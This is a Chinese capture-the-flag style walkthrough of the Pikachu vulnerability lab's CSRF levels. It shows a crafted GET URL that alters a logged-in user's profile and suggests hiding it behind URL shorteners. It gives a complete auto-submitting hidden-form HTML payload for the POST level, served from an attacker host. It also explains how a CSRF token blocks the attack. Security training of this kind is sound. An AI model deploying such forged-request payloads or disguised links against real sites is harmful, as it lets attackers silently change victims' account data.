pikachu CSRF(跨站请求伪造) (皮卡丘漏洞平台通关系列)
一、官方介绍本节引用内容来自pikachu漏洞平台（删了一些内容，留下了最重要的部分，并为精炼语言进行了一些修改）1、我们判断一个网站是否存在CSRF漏洞，其实就是判断其对关键信息（比如密码等敏感信息）的操作(增删改)是否容易被伪造。2、本质是借用户的权限完成攻击，因此攻击成功需要用户已经通过验证获得了权限，并触发了攻击者提供的请求。3、网站如果要防止CSRF攻击，则需要对敏感信息的操作实施对应的
目录
一、官方介绍
本节引用内容来自pikachu漏洞平台（删了一些内容，留下了最重要的部分，并为精炼语言进行了一些修改）
1、我们判断一个网站是否存在CSRF漏洞，其实就是判断其对关键信息（比如密码等敏感信息）的操作(增删改)是否容易被伪造。
2、本质是借用户的权限完成攻击，因此攻击成功需要用户已经通过验证获得了权限，并触发了攻击者提供的请求。
3、网站如果要防止CSRF攻击，则需要对敏感信息的操作实施对应的安全措施，防止这些操作出现被伪造的情况，从而导致CSRF。比如：
--对敏感信息的操作增加安全的token；
--对敏感信息的操作增加安全的验证码；
--对敏感信息的操作实施安全的逻辑流程，比如修改密码时，需要先校验旧密码等
二、一起闯关吧
第1关 CSRF(get)
1、闯关
看名字应该是get型的CSRF吧，漏洞点可能在url中，待会儿注意一下。
进来首先要登录，不知道账号密码，点一下提示
就来搞一下vince吧，登录进去显示了vince的个人信息，并且最下面有个修改个人信息的链接，点一下
住址改成france，然后点submit，发现url也没啥变化呀，点击提交之后就跳转到上图这个显示个人信息的页面了，住址也修改成功了（不截图了，多余……）
肉眼看不到的url变化，burpsuite可以，刚刚submit数据的过程用burpsuite抓了包，得到下图这样的报文，修改用户配置的url是：
http://192.168.101.16/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=18626545453&add=france&email=vince%40pikachu.com&submit=submit
从上面的url和下图的报文可见，修改用户信息的时候，是不带任何不可预测的认证信息的。那么，这里应该是可以被利用的。
在vince登录状态下（其实这个链接里面是不包含用户名的，谁登录都无所谓，只要有人登录着就行，登录着的用户的信息就会被改成url提供的那些），试试改一改上面的链接，比如把电话号码改一改。浏览器地址栏输入payload：
http://192.168.101.16/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=18612358678&add=france&email=vince%40pikachu.com&submit=submit
跳转到显示用户信息的地方，手机号已经被成功修改，攻击成功。
如果觉得这个url过于明显，网上有很多短链接网站可以修饰url（百度搜索“短链接”就有很多）
比如下图这样（印象中似乎见过一个网站可以自己定义生成的短链接的部分特征，比如以某个知名网站名开头。没找到，要是哪位大神知道，欢迎分享）
浏览器地址栏输入这个短链接之后，vince成功变成女孩啦
2、代码
简单看一下这关代码。这关的代码其实没啥可说的，主要是下一关有可说的，为了保持队形(╯▽╰ )
24~27行先检查用户是否登录，如果没登录则跳转到登录页面。如果用户已登录，就不再做任何验证，直接将前端传来的数据下到数据库了（看代码这关还有sql注入漏洞呢）。
第2关 CSRF(post)
1、闯关
进来依然要先登录，这次搞一下lucy
进去之后还是显示个人信息的地方，点“修改个人信息”
把性别改成boy，看看burpsuite抓到什么样的包了
从上图的请求报文来看，和前一关一样，没有不可预测的认证信息，可以被利用。
post类型的比get类型利用起来要烦一点点，需要攻击者自己写个利用该漏洞的html文件，放在自己服务器上，并发给用户请求这个html文件的链接。
比如针对这一关，将包含如下html代码的文件（假设文件名为post.html）放入攻击者的电脑，比如192.168.101.14；
然后在攻击者电脑上起http服务，比如python3 -m http.server 80
再将链接http://192.168.101.14/post.html发送给登录状态的用户
用户点击链接之后，就可以修改信息
<html>
<script> <!-- 这个script是用来自动提交表单的 -->
window.onload = function() {
document.getElementById("submit").click();
}
</script>
<body>
<form action="http://192.168.101.16/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
<input type="hidden" name="sex" value="girl" />
<input type="hidden" name="phonenum" value="12345678922" />
<input type="hidden" name="add" value="usa" />
<input type="hidden" name="email" value="xiannv@pikachu.com" />
<input type="hidden" name="submit" value="submit" />
<input id="submit" type="submit" value="Submit request" style="display:none"/> <!-- style设置为display:none起到隐藏submit按钮的作用 -->
</form>
</body>
</html>
2、一个奇怪的现象和思考
本节内容和漏洞无关，不感兴趣可以跳过。
这关的闯关过程中发现一个奇怪的现象，输入payload（http://192.168.101.14/post.html），有时会成功，有时则会出现下图这样的页面，404 not found。
出现这种情况有2步原因，首先是因为后端没有获取到用户登录信息，其次是靶场源代码有问题。
先说第2步原因，csrf_post.php文件中如果检测到用户没有登录，会跳转到同文件夹（csrfpost）下的csrf_get_login.php，但事实上csrfpost文件夹下并没有这个文件，因此会返回404 not found。
把header("location:csrf_get_login.php");改成header("location:csrf_post_login.php");之后，就可以在检测到用户未登录时正确跳转到用户登录页面。
再看第1步原因，为什么用户登录之后后端检测结果是用户未登录？一开始以为是和网页跳转有关（192.168.101.14跳到192.168.101.16），尝试了很多次之后，分析大概率是因为这关session时间特别短（大概不到1min），至于为什么session时间特别短，目前还没看出来，pikachu源代码目录下没看到人为设置session过期时间的操作。。。
第3关 CSRF Token
这关是防范CSRF的常用方法的一个演示。
修改用户信息并提交，在burpsuite的proxy模块可以看到报文中包含token（如下图红框中所示）
试了一下，这关删除token是无法修改用户信息的，多抓几个包之后也没有看出token有什么规律。
在一个浏览器上以lucy登录，到修改信息的页面，查看网页源代码获取token，再到另一个浏览器以lili登录，构造payload包含此token也是无法攻击成功的。
看一下代码，修改用户信息时，服务器会比较url中的token字段和session中的token字段，如果相同才能修改用户信息。
修改完用户信息之后，会用set_token()函数生成新的token，将其返回到html表单中并隐藏起来，以便下次用户修改信息时代入url。
set_token()函数如下图所示，在生成新token之前会先销毁老token，避免token重复使用。
开放原子开发者工作坊旨在鼓励更多人参与开源活动，与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动，如meetup、训练营等，主打技术交流，干货满满，真诚地邀请各位开发者共同参与！
更多推荐
30
0- 0
已为社区贡献11条内容
所有评论(0)